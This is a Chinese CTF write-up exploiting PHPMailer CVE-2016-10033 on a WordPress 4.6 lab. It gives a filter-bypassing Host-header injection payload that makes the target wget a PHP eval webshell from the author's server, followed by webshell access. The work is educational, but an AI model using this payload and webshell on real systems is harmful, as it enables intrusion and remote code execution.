目录
漏洞简介
工具
题目分析
poc简单讲解
题解过程
另外的思考
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
成因 :
在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞。
详细讲解:
https://xz.aliyun.com/t/2301
PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析
wpscan(kail自带) burpsuite VPS(自己的可以连接外网的服务器) 蚁剑
(没有服务器的下文教白嫖哦)阿里云服务器白嫖 还有搭建网站,本人搞了3天获得的血与泪的领悟,希望想自己搭建服务器做这道题目的同学少走点弯路。
云计算初认识 +阿里云服务器免费领取教程_AAAAAAAAAAAA66的博客-CSDN博客
宝塔linux面板,一键安装LAMP/LNMP/SSL/Tomcat
既然是cms漏洞,首先的确认是什么版本的cms。所以首先用到的工具是wpscan。
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
kali输入命令
wpscan --url http://whalwl.site:8041/ --enumerate u
得到结果为wordPress 4.6
还有一个用户名为:admin
网上找到漏洞利用
https://xz.aliyun.com/t/2301
开始准备木马:
vps(这里用的是阿里云服务器,可以白嫖一个月+宝塔快速搭建网站)中创建一个aaa.txt文件
<? php @eval($_POST["pass"]); ?>
格式
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/123.php 47.106.xxx.xxx/aaa.txt}} null)
命令执行,让靶机下载我们服务器的aaa.txt文件,并且命名为123.php
但是为了绕过过滤
空格 ==> ${substr{10}{1}{$tod_log}}
/ ==> ${substr{0}{1}{$spool_directory}}
必须要将空格和/改为这种形式
并且为了命令能够被系统正常执行,还要注意以下几点(详细看原理)
- 执行的命令不能包含大量特殊字符,如
:
、引号等。- 命令会被转换成小写字母
- 命令需要使用绝对路径
- 需要知道某一个存在的用户的用户名
所以最后payload为:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}123.php${substr{10}{1}{$tod_log}}47.106.xxx.xxx${substr{0}{1}{$spool_directory}}aaa.txt}} null)
先找到漏洞界面
进入bp
改包
Host内容修改为
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}123.php${substr{10}{1}{$tod_log}}47.106.191.211${substr{0}{1}{$spool_directory}}aaa.txt}} null
发包,然后访问123.php
发现存在。
蚁剑连接,在根目录下发现flag。
.到这里就结束了。
另外看了大神的分析,能命令执行的话先是推荐反弹shell,所以也尝试了一下反弹shell,发现文件的确是能上传,但是似乎执行出了点问题。
执行改文件时总是失败,反弹不了shell。有复现成功的大佬们可以私信或者评论。
(另外安装服务器是真的麻烦,搞了好几天)反弹shell也只在自己的电脑上成功过。现在还不知道哪里出了问题。
参考链接:
https://xz.aliyun.com/t/2301
PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析
安鸾CTF Writeup wordpress 01 - jzking121 - 博客园
云计算初认识 +阿里云服务器免费领取教程_AAAAAAAAAAAA66的博客-CSDN博客
作者水平有限,有任何不当之处欢迎指正。
本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!